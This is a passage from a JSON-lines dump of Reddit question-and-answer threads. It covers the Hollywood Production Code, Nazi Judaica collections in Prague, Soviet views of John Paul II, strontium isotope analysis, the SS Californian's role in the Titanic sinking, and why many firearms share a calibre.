and respectfully handled\n\nFor four years, the industry still didn't have any means of enforcing those rules. Then in 1933, the Roman Catholic Legion of Decency was founded, and the Legion, along with various Protestant groups, began threatening to boycott films that they deemed lurid or otherwise immoral. Further, the Legion of Decency began its own rating system, where they gave films an A (\"Morally unobjectionable\"), B (\"Morally objectionable in part\") or a C (\"Condemned by the Legion of Decency\"), and they directly advised Catholics to avoid any movie given a C rating. So in 1934, the studios finally created an enforcement organization -- the Production Code Administration -- and they hired a prominent Catholic, Joseph Breen, to head the PCA.\n\nThe PCA added a very clear enforcement method: the studios owned roughly 20% of all the motion picture theaters in the country, and since many of those were the biggest theaters in the biggest cities, those theaters represented about 80% of box office revenue. And the studios pledged that they would not exhibit any movie unless it was given a Production Code seal of approval. Further, they instituted a $25,000 fine to any producer who attempted to run an unapproved picture. This gave Joseph Breen incredible power in Hollywood.\n\nBreen would lead the PCA for the next 20 years, and he was, without exaggeration, one of the most influential men in the American film industry. The PCA was involved in the production process at multiple steps -- at minimum, (1) studios would submit their scripts to the PCA before going into production, so that Breen or one of his associates could provide feedback on any area that might be in violation of the Code, allowing changes to be made before filming, and (2) Breen would also view the final film for ultimate approval or rejection. I've read through many of the PCA files in the Motion Picture Academy archives while doing research, including numerous letters written by Breen himself, and it's astounding how much control he had. Even beyond the explicit rules of the Code -- which he was very strict in enforcing -- Breen would sometimes include other areas that he felt were inappropriate when viewing the initial script (he'd say something like \"and lastly, while not violating any particular section of the Code, I would also recommend changing this scene...\" and would justify it with ambiguous phrases like \"in keeping with general industry policy\"). In most cases, the producers would just consent to his changes rather than worry about not getting PCA approval.\n\nIt's worth noting that the PCA did indeed soothe the concerns of the Legion of Decency. The Legion condemned more than 60 fims in 1934, another 20 in 1935, and only three in 1936.\n\nOfficially, the Code lasted until 1968, when it was replaced by the MPAA Ratings Board, however the Code began weakening in the 1950s. The Supreme Court's *United States v. Paramount Pictures* decision in 1948 ruled that the studios were in violation of antitrust laws, and forced the studios to sell off their theaters, which resultantly weakened the Code since independent theater operators were under no obligation to require a Code seal of approval. Further, movie attendance went into continual decline during the '50s and '60s (for many factors, though the competition from television and the move to the suburbs were the biggest), which made producers more desperate to push the envelope and try to grab an audience, especially since various foreign films were gaining popularity in the US while doing exactly that. And, lastly, the Code was a product of 1930, and the times they were a-changin'.\n\nYet while the Code's effectiveness went into decline, Hollywood's desire to appease religious groups certainly continued. If nothing else, *Hail, Caesar* best demonstrates this in the very fact that they're producing a biblical epic. The prevalence of biblical epics throughout the '50s and '60s was partly to appeal to Catholics and Protestants interested in such a thing -- even as late as 1966, you see *The Bible: In the Beginning...* and *Hawaii* (about Catholic missionaries in Hawaii) becoming two of the most popular films of the year. However, more cynically, one of the big reasons that Hollywood made so many religious epics during this time was because it was much easier to include sex and violence when it was justified as coming from the Bible! *Salome* in 1953 is the classic example of this -- it has  Rita Hayworth, as Princess Salome,  performing a lot of what the Code would have called \"dances which emphasize indecent movements\",  however its being loosely based on a Biblical tale (and I emphasize the word \"loosely\") helped to get the film past the PCA censors.\n\nBut that also speaks to the attention to Biblical detail that Hollywood was practicing. Unlike *Hail, Caesar*'s suggestion, the studios did not go to great lengths to get the details of the Bible accurate; on the contrary, they often took great liberties with the Bible in the interests of storytelling, and only felt obliged to get details \"correct\" insofar as the films matched popular familiarity with Biblical tales (the same went for historical stories as well). So while *The Bible: In the Beginning...* did try to match the popular renditions of Adam and Eve and Noah's Ark, producers felt little need to consult Biblical scholars when dealing with a film like *Salome*, knowing that few Christians know much about the story of Salome anyway.\n\nFor more info, I highly recommend *The Dame in the Kimono: Hollywood, Censorship, and the Production Code* by Leonard J. Leff and Jerold L. Simmons (University Press of Kentucky, 1991, 2nd Ed. 2001), as well as Thomas Doherty's *Hollywood's Censor: Joseph I. Breen and the Production Code Administration* (Columbia Press, 2007). Gregory D. Black also has a couple books on the influence of Catholics and the Legion of Decency, rooted in primary research in archdiocese archives, including *Hollywood Censored: Morality Codes, Catholics, and the Movies* (Cambridge University Press, 1994).", "Huzzah!!! I must say, I was almost as invested in this getting an answer as you were at this point, and was going to just research the damn thing myself if you had to post it *another* time. I'd put in a *little* work on that front already, but by no means enough to really get down to it, but I do have a small addendum I can add to what /u/GeekAesthete has already covered, if only because I don't want the pitch-perfect source I tracked down to go to waste, namely on one adaptations of Ben-Hur, which is definitely one of the epic films on which *Hail Caesar* was drawing on as the film-within-a-film.\n\nThe best known of course is the 1959 epic, and the portrayal of Jesus was of key importance, something which earlier productions also had to grapple with, as the wrong portrayal could of course cause offense. For instance the original play done of Ben-Hur, authorized by the author Lew Wallace, in fact simply didn't show Jesus, and simply used \"a shaft of blue light\" as Wallace considered actually portraying him on the stage to be blasphemy. Later versions would show 'The Christ', but take precautions, and Hark notes that this wasn't unique to Ben-Hur either, as in the 1927 film *The King of Kings* Cecil B. DeMille was scrupulous his management of the cast *off-screen* even, compelling them:\n\n > to abstain from off-set activities such as dancing, drinking, or gambling that some devout people think irreligious. Additionally, the actor who played Jesus was whisked to and from the studio in a car with darkened windows; he also wore a black hood over his head when he was not filming.\n\nIn short, to many filmmakers, making a movie that showed Jesus required tact both on and off-screen. In the 1959 production, although not following precisely in Wallace's chosen path, the portrayal was kept *distant*. The audience never sees the face, nor does he speak, in essence insulating the audience as much as possible from \"access to his subjectivity\" as Hark terms it. While perhaps still offending those who believe you simply *cannot* portray 'the Son of God' on screen, it is at least a mechanism to avoid touching on the particular sensibilities of those who at least accept placing him there, although of course the entire work itself is intended to provide not terrible subtle ways around that too:\n\n > In addition to this method of portraying Jesus, Wyler provides a way into the savior\u2019s subjectivity at a safe distance for avoiding blasphemy. He does this via Judah Ben-Hur\u2019s narrative, which in many instances parallels Jesus\u2019s narrative even though the divine-human distinction dictates that Jesus must die for humankind\u2019s sins while Judah must live to experience this redemption and pass it on to others. The latter, the victim of unjust arrest and persecution by Romans, spends years rowing in a galley (a prolonged Passion). After a symbolic death when the galley sinks, Judah is \u201cresurrected\u201d as Young Arrius. He is present, later, to offer succor to Jesus on his way to Calvary, just as Jesus gave Ben-Hur water as he marched to the galleys.\n\nThere is of course a flip-side. The first being simply that just because some productions may have taken precautions, others did not. Late in the 'Code era', but Hark notes both *King of Kings* from 1961 and 1965's *The Greatest Story Ever Told* as films which didn't go out of their way either like DeMille, or Wyler, but of course in the latter case it would have been tough when Jesus was such a central character in the films!\n\nSecond though is that just because *Ben-Hur* might have been tactful in some ways, doesn't mean it was in *all* ways. Gore Vidal, one of the scriptwriters, straight up admitted that the homoerotic subtext between Judah and Messala many see in the film was intentional, and further, the 'Story of the Christ' that is told in via Judah Ben-Hur, even with Jesus a distant figure, nevertheless is one that not all would agree with. Hark harks back to another scholar, Gordon Thomas, whose reading of gender in the work paints a picture that not all could agree with:\n\n > the thoroughly male Judah impulsively taking up arms only to encounter a womanish Man of Peace arriving just in time to disarm him. So much for the insurgency, a bad idea, apparently, caused by too much testosterone.\n\nTo be sure, this is an issue with the novel itself, so one that can't be avoided, and if anything, the film doesn't lean so strongly into it in portrayal of Jesus, but nevertheless does so, and purposefully.\n\nSo anyways, its only one fairly narrow view of one production, so it doesn't really provide a full picture of the period, but with the existing answer already, I think it does give a look at how concerns both could be balanced... but also not.\n\nHARK, INA RAE. \"The Erotics of the Galley Slave: Male Desire and Christian Sacrifice in the 1959 Film Version of Ben-Hur.\" In Bigger than Ben-Hur: The Book, Its Adaptations, and Their Audiences, edited by RYAN BARBARA and SHAMIR MILETTE, 162-78. Syracuse, New York: Syracuse University Press, 2016. _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://www.asu.edu/courses/fms200s/total-readings/MotionPictureProductionCode.pdf"], ["http://www.jstor.org/stable/j.ctt1j1nvdj"]]}
{"q_id": "3fc66a", "title": "Were the Nazis Going to Make a Museum of Judaism? If Not, Why did They Collect and Sort Documents in the Modern Day Jewish Museum of Prague?", "selftext": "I've run into a few references lately that Alfred Rosenberg was collecting materials for such a museum, but then other things indicate that there were never plans for it?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3fc66a/were_the_nazis_going_to_make_a_museum_of_judaism/", "answers": {"a_id": ["ctni8c0"], "score": [146], "text": [" > That [research on the history of the Jewish question in Europe] also seems to us to be necessary for the following reason: if the Jewish question in Germany - and at some time in all of Europe - is solved, then a generation might come after us that is no longer able to give itself an account of what really happened during these decades. Freed of Jewish influence, our grandchildren might again fall into enraptured ideas and no longer be able to estimate the activities of the Jewish people in the midst of the Europeans in the way we must do today. People's memories are very short; often thirty or fifty years are enough no longer to give even the worst fates a place in popular awareness. That is why we cannot be satisfied with what we have experienced over the last decades, not just with the books and speeches that came forth out of the immediate struggle; rather, we must complete the experienced insights, some of which were already based on deep understanding, by doing extensive research.- Alfred Rosenberg, \"Nationalsozialismus und Wissenschaft,\" 1941\n\nAside from a window into the disturbing antisemitism of Rosenberg, this extended quote from Rosenberg's contribution to the journal *Weltkampf: die Judenfrage in Geschichte und Gegenwart* illustrates the rationale some within the Third Reich's leadership had when they conceived of a postwar museum of Jewish culture and life. Such ideas had reached an embryonic form in 1941/42 as the *Einsatzstab Reichsleiter Rosenberg* (ERR)  and the RSHA gathered together vast amounts of Jewish archival property. The idea behind these museums was that after the elimination of the Jewish people, it was very important to for the Third Reich to present its version of Jewish history and culture. The Third Reich's museums were no stranger to highly politicized exhibits, such as the infamous \"Entartete Kunst,\" that ridiculed modern art as degenerate. But beyond the propagandastic pedagogy of a postwar Jewish museum, Rosenberg's avowal that a museum would facilitate future research also reveals an important scientific mentality that was central to many of the planners of the Holocaust. The young professionals of the RSHA and the various archivists and academics who worked for ERR styled themselves as modern professionals. This mentality was part of underlying justification for the preservation of Judaism in Europe, whether the preserved skeletons of \"representative\" racial types or, in this case, physical cultural materials like Jewish books or handicrafts. In their mentality, genocide was connected intimately with the furtherance of human knowledge. \n\nYet the goal to preserve evidence of genocide was neither universal nor consistent within Third Reich. The SS's *Aktion 1005* was tasked in 1942 with the disposal of the corpses created by the Operation Reinhard camps as well as those created by the *Einsatzgruppen*. The cremation of these corpses was not entirely supported by some in the SS. Odilo Globocnik argued to his superiors and colleagues that cremation implied guilt and that the Reich should instead construct vast ossuaries for Jews emblazoned with bronze tablets congratulating his generation for having the courage to see this difficult task through. Despite the fact that some of his superiors agreed with Globocnik's sentiments, including Hitler himself in one account, the Reich's leadership elected to destroy the majority of the Holocaust's corpses.   \n\nNor were the collection of Jewish archival materials as systematic and thorough as the pretensions of Rosenberg and his ilk made them out to be. Confiscated Judiaca that did not catch the eye of ERR officials was often destroyed. For example, ERR selected some twenty thousand volumes of books from Vilna from synagogues, Jewish archives, and private ownership, but this was just 20 percent of the what was collected in Vilna. Johannes Pohl, ERR's representative charged with this task, ordered the remaining volumes pulped. Similarly, Torah scrolls, which elicited very little interest from ERR, were often recycled into materials for bookbinding or leather items like shoes. The idea of a central museum in Prague evolved out of the fact that Prague served as a central depot for the Protectorate of Bohemia and Moravia's confiscated Jewish property. This meant Prague had vast warehouses of Jewish objects, which the RSHA considered to be state property. Although not of immediate value in wartime, this Judaica was considered to have some value and the Third Reich, like many states, was reluctant to give up what it saw as its own property. \n\nWhether or not the Third Reich would have carried through ERR's plans to create a postwar museum is unknown. There was certainly a great deal of material available to create such a museum. There were two non-public exhibitions in Prague in 1942 and 1943 of Judaica which were enabled by these vast amounts of stolen material. Yet most of the plans for Jewish museums were usually tabled for an indeterminate time after the war had been concluded. In a speech given two days after his infamous 1943 Poznan speech, Himmler said:\n\n > One can consider at a much later time whether the German people should be told more about this. I think it is better that we \u2013 we as a whole \u2013 have carried this for our people, have carried the \nresponsibility (the responsibility for a deed, not just for an idea); and then we will carry this secret to our graves.  \n\nHimmler's waffling illustrates the indeterminacy of such a museum project. There was both a clear imperative to document and portray for subsequent generations of Germans the nature of the Reich's racial *Feind*, but this existed in an uneasy tension with a tendency to cover up the evidence of mass genocide. Had such a museum been constructed, it would have had to reconcile these two very contradictory impulses. \n\n*Sources*\n\nConfino, Alon. *A World Without Jews: The Nazi Imagination from Persecution to Genocide*.  new Haven: Yale University Press, 2014.\n\nEckert, Astrid M. *The Struggle for the Files: The Western allies and the Return of German Archives after the Second World War*. Washington, D.C.: German Historical Institute, 2012. \n\nRupnow, Dirk. \"From Final Depository to Memorial the History and Significance of the Jewish Museum in Prague.\" *European Judaism* (2004): 142-159. \n\n_. \"Annihilation \u2013 Collection \u2013 Preservation: The Nazi Archive of Jewish History and Culture and its effect on Postwar Memory,\" _URL_0_ . "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jewishculture.illinois.edu/programs/holocaust/archive/Rupnow.pdf"]]}
{"q_id": "7oeww8", "title": "How did Soviet leadership respond to the Papal election of Karol Wojtyla (Pope John Paul II), a Polish bishop?", "selftext": "Given that Poland was still under Soviet control upon his coming to power, did Soviet leadership perceive him as a threat? He was very popular in Poland, so were they worried he might somehow cause Poland to break away from the USSR?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7oeww8/how_did_soviet_leadership_respond_to_the_papal/", "answers": {"a_id": ["ds974i5"], "score": [12], "text": ["Without a doubt St. Pope John Paul II would have been viewed as a threat to the Soviet infrastructure and rule in Eastern Europe. Per the New Yorker, and I\u2019m currently also looking to check Russian archives on the matter, the Soviet intelligence head called the Warsaw KGB Chief station shortly after the election of Pope JPII expressing anger. The New Yorker piece also claims that the KGB ran an internal investigation into the Papal election and falsely concluded that there was a massive conspiracy against them, also heightening concerns. There\u2019s also a semi-famous quote drifting around that the Soviets sent out to schoolteachers in Poland prior to the Papal visit in 1979 (taken directly from the New Yorker link below)\n\n & nbsp;\n > {: .break one} ** The Pope is our enemy. . . . Due to his uncommon skills and great sense of humor he is dangerous, because he charms everyone, especially journalists. Besides, he goes for cheap gestures in his relations with the crowd, for instance, [he] puts on a highlander\u2019s hat, shakes all hands, kisses children, etc. . . . It is modeled on American presidential campaigns. . . . Because of the activities of the Church in Poland our activities designed to atheize the youth not only cannot diminish but must intensely develop. . . . In this respect all means are allowed and we cannot afford sentiments. \n\n & nbsp;\n**1979 Visit To Poland**\n\n\n & nbsp;\n\n\nWe\u2019re going move into territory I know better now. Although the Papacy had been visiting Communist states for decades at this point, St. JPII\u2019s  speeches, especially in Poland, were pretty anti-Soviet in content. At one point, he directly stated that \u201cthere can be no Europe without the independence of Poland\u201d (Washington Post, 3 June 1979), and made multiple calls for human rights and the preservation of freedom, especially the expression of the Catholic state in Poland.\n\nAlongside this it is important to remember the context of the visit. Pope John Paul II was from Krakow, the first non-Italian pope in centuries, and Poland is a country that identifies as over 90% Catholic. The Soviets would have in no way missed the potential impact, which was then realized when his speeches helped spark the inception of the Solidarity movement that eventually led to Polish independence. \n\n & nbsp;\nIt\u2019s also important to note that, despite the specifics of John Paul II\u2019s actions as a threat to the Soviet regime, any new Pope would have almost certainly been regarded as a threat by the Russians, as they would be following upon the legacy of Pope Pius XI\u2019s statement in 1937 that Communism inherently a false ideology and mutually exclusive with Christianity. Pius XII extended this with a heavily anti-communist agenda and the formation relationships with the West. Although John XXIII softened the tone of the agenda a bit, he still specifically worked via \u201cVatican Ostpolitik\u201d to strengthen the Catholic Church in Eastern Europe and stem the Soviets. And despite Paul VI being more open to dialogue with the East, his emphasis on supporting developing nations put him in conflict with similar Soviet attempts.\n\nYour post also has me curious as to when exactly in the 1978 Papal election-1979 visit to Poland timeframe the Soviets first began to realize how much of a threat he was. If anyone else here knows, feel free to chime in, otherwise I\u2019m going to poke around in some Russian archives I\u2019m aware of and see if I can dig anything up. \n\nI can provide more sources if needed but I\u2019m going to link the New Yorker piece here _URL_0_ "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.newyorker.com/magazine/2005/04/11/john-paul-ii"]]}
{"q_id": "36vesu", "title": "How long do you have to live in a location before it will register a site-specific strontium signature in your body?", "selftext": "So archaeologists can determine if where a person was born is different to where their remains were recovered using strontium signatures that are specific to certain locations, from their teeth. How long does a person have to reside in the same location (scale of weeks, months, years?) before that location can be pinpointed as a place in their history?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/36vesu/how_long_do_you_have_to_live_in_a_location_before/", "answers": {"a_id": ["crhlla6", "crhqh9i", "crhqjqk"], "score": [67, 7, 4], "text": ["teeth are formed during childhood, and dental tissue does not turnover through life; therefore the strontium signal (isotopic delta value) will only represent where that person grew up. consequently their dental strontium signal will not change no matter how many times they move during adulthood, or how long they reside in these places. \ndifferences in strontium could appear if different teeth are looked at (these would have formed sequentially throughout childhood), and this may show geographical movement during tooth formation - but this has never been done as far as I am aware. so basically a person would need to reside in one location for as long as the teeth take to form, and if they moved this would result in an averaging of the two locations (since we don't fully understand the processing of isotope incorporation into hard tissues)\noxygen is often used alongside strontium to study migration, but it should be noted that these methods don't pinpoint exact locations of origin for a person, they can only reveal if that person came from somewhere else (normally a hotter or colder location). \n\nedit: in response to people below, whilst bone can be used to study Sr signals at the time of death, bone is much more susceptible to burial environment diagenesis (movement of burial environment isotopes into bone), and so bone strontium signals can often reflect the local environment due to this mechanism, rather than dietary reasons", "Usually you would compare the signature of bone, which completely remodels over the course of approximately 10 years (if I'm remembering correctly) against teeth to see if someone is living in a different location than their birth. I know that some researchers have been using this to ask questions about shifting patterns of matrilocality and patrilocality (in California).\n\nTo answer the question, your signature from your teeth reflects the average level of strontium in your environment during the time of development. Your bone signature reflects the average level of strontium in your environment for last few years before your death.", "The recent news about tracking egtved girl was based on strontium in her teeth locating her childhood in Germany, and strontium in her hair to track her movements with considerable precision over the time her hair was growing. Hair grows about half an inch a month. What follows is speculative, as I don't know how big a sample is needed to measure strontium in hair, but I imagine that having only a single hair would give less precision than having many hairs, as the corresponding sections of all available hair could be combined to make larger samples."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1xhoel", "title": "why are we not allowed to host modern day gladiator tournaments?", "selftext": "Ok, so this may be dumb. Why are we not allowed to host modern day gladiator tournaments. Isn't there a way for a bunch of lawyers to write up contracts where the participants sign their life away. That way people can't say it is inhumane because the gladiators are voluntarily putting themselves in the situation. What is stopping someone from hosting these tournaments if their were people who would participate willingly for money and fame. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xhoel/eli5_why_are_we_not_allowed_to_host_modern_day/", "answers": {"a_id": ["cfbf7bp", "cfbf92q", "cfbfciw"], "score": [3, 3, 2], "text": ["Government rules making it illegal. besides, we have mma, boxing, wrestling,Sumo, karate tournaments ,bull fighting and rodeo \n\nand gladiator movies ", "You are essentially asking one guy to kill another guy. That's murder no matter how many contracts you sign.", "We do. They just don't kill each other at the end of the fight, because the death detracts from the entertainment value. What do you think MMA is?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "457x2q", "title": "The SS Californian was a little more than twenty kilometers away from the Titanic at the time of its sinking, why did the Californian not come to the rescue of the Titanic?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/457x2q/the_ss_californian_was_a_little_more_than_twenty/", "answers": {"a_id": ["czvxwd5", "czw1tk7", "czwqvjv"], "score": [856, 50, 4], "text": ["The simple, and concise yet complete answer is that the OOW and the Master of the \"Californian\", Captain Lord, did not know that the \"Titanic\" was in distress. If one doesn't know that a vessel is in distress, why would one alter one's course and approach it? Although the \"Titanic\" had sent a distress signal, both CQD and SOS, by radio (incidentally, the first time that SOS had been used in anger) there was nobody on the \"Californian\" to receive the signal as the Radio Officer had gone off watch and the radio station had been switched off. The distress rockets sent up by the \"Titanic\" weren't internationally recognised as such, and the OOW of the \"Californian\" stated in the official inquiry that he thought that they were simply fireworks being let off at a party on the \"Titanic\", so took no action.\nThere is more information here _URL_0_\nCaptain Lord is often viewed as some kind of pantomime villain, but, given that he wasn't called by the OOW it is difficult to blame him for not going to the aid of the \"Titanic\" when he didn't know that it was in distress.", "I'm not the OP but one question I've been curious about is how many of the Titanic's passengers the Californian would have had the capacity to rescue.", "A little bit more detail as to why the radio was shut off.\n\nThe radio operator on the California was told to stop sending messages as they were jamming the messages being sent to Newfoundland by the Titanic. The last message sent was a warning about icebergs.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.encyclopedia-titanica.org/californian-incident.html"], [], ["http://www.environmentalhistory.org/revcomm/features/radio-and-the-titanic/"]]}
{"q_id": "brp3oj", "title": "why are there so many gun models using the same calibre? doesn't the bullet determine most of the lethality and range, while the gun is just the vehicle that fires it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/brp3oj/eli5_why_are_there_so_many_gun_models_using_the/", "answers": {"a_id": ["eofgis3", "eofgixz", "eofhhlm", "eofhqj4", "eofi2ed", "eofj7q3", "eofmrqs", "eofv4hv", "eofvm4p", "eofvryp", "eofw8me", "eofwdly", "eofx3y8", "eofxgol", "eofxvxo", "eofysk8", "eofzezk", "eog0zf9", "eog1301", "eog194j", "eog1o8h", "eog6oor", "eoggjd0", "eogyl1a", "eoh1o90", "eoh8ldj", "eoi0czo", "eoi1r2y", "eoi1xjv", "eoi3rkt"], "score": [7356, 100, 590, 3, 137, 111, 20, 1361, 11, 43, 2, 2, 3, 5, 3, 3, 2, 2, 5, 2, 2, 3, 29, 2, 3, 2, 3, 2, 2, 2], "text": ["The cartridge itself is the main factor in terminal ballistics, but barrel length is also important - a longer barrel gives the bullet more distance to accelerate, to a certain degree.\n\nThat aside, there's also plenty of other factors in a gun. Ergonomics, rate of fire, price, the action and lock type, materials, safety, other features to improve reliability or ease of use, the list goes on. Also, some models may be updated versions of older designs, direct competition to a similar model or just an improved but more expensive luxury version.\n\nThink of it like there being lots of models of cars that use the same fuel.", "Caliber is only a measure of bullet diameter, and there are a lot of other factors to consider when deciding what gun is right for the job. .30 Carbine and .30-06, for example, are the same caliber (more or less) but wildly different cartridges.\n\nEven guns in the same cartridge may have many different uses. An AR pattern rifle in 5.56mm/.223 with a 12\" barrel is a nice thing to have if you're fighting from an armored vehicle, but isn't a good choice for taking White Tail deer.", "I'm assuming your question is \"why are there so many different firearms for the same cartridge, don't they perform the same?\"\n\n & #x200B;\n\nYou underestimate the amount of engineering that goes into firearms to work safely, reliably, and ergonomically. While the cartridge determines the base capability of its ballistic performance, the firearm determines a lot of other factors, like how much of that capability is realized, the accuracy, the recoil, the comfort of the shooting experience. For example, go look up a Sten gun and then look up an MP5. Both primarily are chambered for 9mm Parabellum but I think it's fairly obvious at first glance which one looks more pleasant to operate. \n\nThe thing is that the Sten was very cheap and easy to manufacture, something that's a concern during war time. The MP5 by comparison is relatively expensive, but is generally considered a pleasant firearm to shoot. Much like any other product, many different companies from many different countries are all vying for mass adoption of their firearms. If they make a new firearm of a certain type, then they think they're offering something that isn't offered yet, or that it's the best of what is offered. Historically, many countries preferred to buy their military arms domestically, though that's less the case today.\n\nI suggest watching forgotten weapons on YouTube for more information on firearms. Ian is a fantastic host and looks at firearms more from the historical and engineering side.", "The caliber is one part of the lethality and range but also what exactly the bullet is made of and the amount of propellant and the length of a barrel.\n\nSo sometime new cartridges is design but most of the time you use a existing one.\n\nDesigning a new gun is not primary lethality and range. Look instead at accuracy of the gun, reliability, weight, cost of manufacture, attachment options that is what the main changes it is.\n\nThere are sometime new calibres introduce for special use like sniper rifles where you can make the most of the advancement and you can replace all gun and there is limiten of exiting ammunition and just a small change in the logistic.\n\nBut for general use in a military, other organisation or among individual the small increase you result in large problem in logistics where some will use that and other will not. A new calibre might only have one manufacturer and be expensive and hard to get. So the advantages it a lot less then the dissadvanatages both for individuals and governments.\n\nAs a individual if you purchase a new gun with a new calibre if there is not enough sales the company might fail and you cant get any more ammunition so using new stuff it risky and that is in most cases not worth it.", "It's sort of an idea that there are well established calibers out there like 9mm, 7.62, 5.56, 45, etc. If you want consumers to buy your firearms you need to make firearms in the caliber most people own. Then you get a piece of that market.", "If the shooter isn't comfortable, they're not going to shoot straight. \n\nIf the machinery of the gun rattles around during operation, it's going to affect machinery. \n\nLonger barrels = more time in the compression chamber = faster/straighter bullet.  Mosin Nagant rifles were extra long so they could double as a spear/pike line against cavalry charges while being accurate out to 2km.  \n\nShorter barrels = more concealment/portability so you can force march 20 miles and sneak it into the meeting. \n\nHeavier weapons are nice because they don't recoil as much (accuracy), plus if you run out of ammunition you can just hit somebody with it. \n\nLight triggers make for accurate shooters - and accidental firings with stupid shooters. \n\nPlus, guns that look cool sell better than guns that don't.", "Technically the calibre or the bullet doesn't determine most of the lethality and range, it's the cartridge that does. For example in the .45 calibre you have the .45 ACP and .45 GAP, both of which have similar bullet and the same calibre, but with about 20% more lenght the .45 ACP cartridge have more powder to give more velocity and enegy to the bullet. \n\n & #x200B;\n\nFor your question specifically, why is there so many gun for the same cartridge? Well first of all there is a lot of different design that can be use for a gun of the same cartridge here some example.\n\n & #x200B;\n\n\\- The military of a nation usually order a LOT of guns and it make sense for the government to want those gun to be designed and manufactured inside their country. It not only make sure to keep the job inside your border, but also keep the factories and expertise of your country alive if for example a big war broke out and you need to provide huge amount of weapon for yourself. You don't want to be dependant on another country that might be enemy or inaccessible at time of war and rebuilding factories and expertise take too much time.\n\n & #x200B;\n\n\\- The quality of the firearm can vary greatly. This is not only because of the quality of the material, but also because of the precision of the tools you used to manufacture the pieces. This allow tighter fitting which can allow to use the explosion more efficiently, make the gun more reliable, allow the gun to keep firing in harsh condition (sand, water, etc).\n\n & #x200B;\n\n\\- Even for the same cartridge, a firearm can have different role that will change the design. For example, the M249 have an open bolt which help keep the bolt colder, it also have a thicker barrel so it can absorb more heat, it also can use both standard magazine or ammunition belt. This allow the gun to fire for longer period since it's role is to provide fire suppression. The M4 use the same 5.56mm NATO ammunition, but it have a closed bolt to that your first shot is more accurate, it's also lighter and shorter and you can select between single shot and automatic. You also have guns like the MK 12 SPR which is semi-automatic only, have a longer barrel so that the gas have more time to push the bullet which increase the range, it also have  a free floating hand guard, which increase the accuracy, etc.\n\n & #x200B;\n\n\\- There is several other design that need different firearms for different users. For example you have bullpup design where the magazine is behind the trigger, this allow a smaller overall length for the same barrel length, but have it's own drawbacks. You have weapons like the Knight LAMG which use it's spring to completely stop the bolt instead of having it hit the back of the rifle, which decrease drastically the recoil, but also decrease the fire rate. The F 2000 have an extracting system that push the empty cartridge in front of the gun instead of on the side. You can have a quick change barrel system so you can keep firing without overheating your barrel. And many more specific design.", "It's like all guitars using the same string sizes. They all do the same thing, but theres a big difference between a $50 no name starter pack guitar and a $3000 dollar custom shop guitar from a major manufacturer. And to the experienced player theres preferences to take into account even in the same tiers of quality and budget. Same with guns.", "Kind of like anything else.  A nintendo, playstation, and an Xbox are all game consoles with a lot of overlap, but the features and availability of options varies between them.  Same thing with guns to include a lot of brand loyalty.", "I feel like this is similar to golf clubs. Ball stays relatively the same, and the clubs are the vehicle with which to whack. Branding and slight variances aside, all clubs are just metal sticks.", "To explain like I\u2019m five. I can throw the same caliber bullet as most guns. The bullet isn't the only thing to determine the lethality.", "I'm interpreting your question as why can there not just be 1 gun that fires a certain caliber, why are there different makes/models of the same caliber gun. An easy example of this would be the extremely common and popular 9mm round. You can find firearms that fit in the palm of your hand, all the way to submachine guns. The 9mm cartridge can fire in all those firearms but barrel length, bullet weight, powder used, etc. can all cause difference. For example, you can have a heavy 158 grain 9mm bullet that moves at 700 fps out of a 3 inch barrel in a carry pistol. You can also have a 115 grain bullet +P going at 1350 fps out of a 12 inch barrel. While you could fire that same bullet in both 9mm firearms, you'll obviously get very different results. \n\nAlso, different features. Some may want a 9mm pistol that is polymer and light and no safety while others may want a full steel frame, decocker, and safety. Some may want a 12k competition race gun with engravings, some may want a $100 hi point.. both will fire the same 9mm cartridge. Hope that makes sense", "so that they can use existing, mass produced, proven ammunition. If each new model required custom rounds (so like the Apple business model), it would be much more expensive.\n\n & #x200B;\n\nif the question is why do there need to be so many models to fire the same round, the answer is just competition in the market place. there are a variety of manufacturers that make a variety of arms, and each have their own characteristics. some are light, some are rugged, some have really long barrels, some are of super-premium materials with exhaustive engineering and expensive assembly, while others just slap cheap parts together and sell something very affordable. Each has different characteristics of physical size, accuracy, reliability, consistency, etc.", "Why same calibre: because it is convenient for almost everyone involved. If 9mm exists, why would people buy a gun with a calibre of 8mm? Then they need to buy special ammunition, and there isn't a major difference between what an 8mm and 9mm would do. \n\nNow there are different kinds of rounds for drastically different purposes: 50 calibre is large enough to pierce armor, but it's so large that recoil and noise are an issue and the gun required to effectively shoot that round is cumbersome, so one can't as easily move around with a gun that fires 50 caliber rounds. \n\n5.56 is popular with many rifles because they are long and relatively thin. Their length can pack a lot more power in the shell to get higher velocities and their narrow profile can pierce minor barriers like interior walls and wooden planks. \n\n9mm is popular for handguns because they have a wider profile than a 5.56 but less length, allowing it to fit nicely into a short pistol and while not reaching the penetrative power of the 5.56 can hit a person with a punch (more surface area at impact) and can hopefully deal some more damage to the vitals inside, where more narrow bullets can sometimes pass straight through, sometimes missing the vital parts. The latter doesn't mean there can't still be complications and agony, but if it were only a single round it could be more survivable than something causing a bigger wound in that same spot.\n\nRange is determined by the size of the round, ie how much explosive power is packed into the shell, but you need longer barrels for accuracy on those rounds. \n\nLethality is mainly determined by your aim. You can shoot a bb with enough force to the right spot and kill someone (though most bb guns thankfully *don't* have enough force to make this easy). Different rounds and weapons are more easily or effectively deployed in different situations, but anything of bullet speed can kill a person.\n\nTreat every weapon as if it's loaded;\nNever point a weapon at anything you don't intend to shoot;\nKeep your finger off the trigger until you are sure of your target and ready to fire;\nIf there's a manual safety: keep the safety on until ready to fire;\nAnd positively identify any target and be aware of what's behind your target.\n\nGuns are serious business, not to be taken casually, and any gun considered for \"self 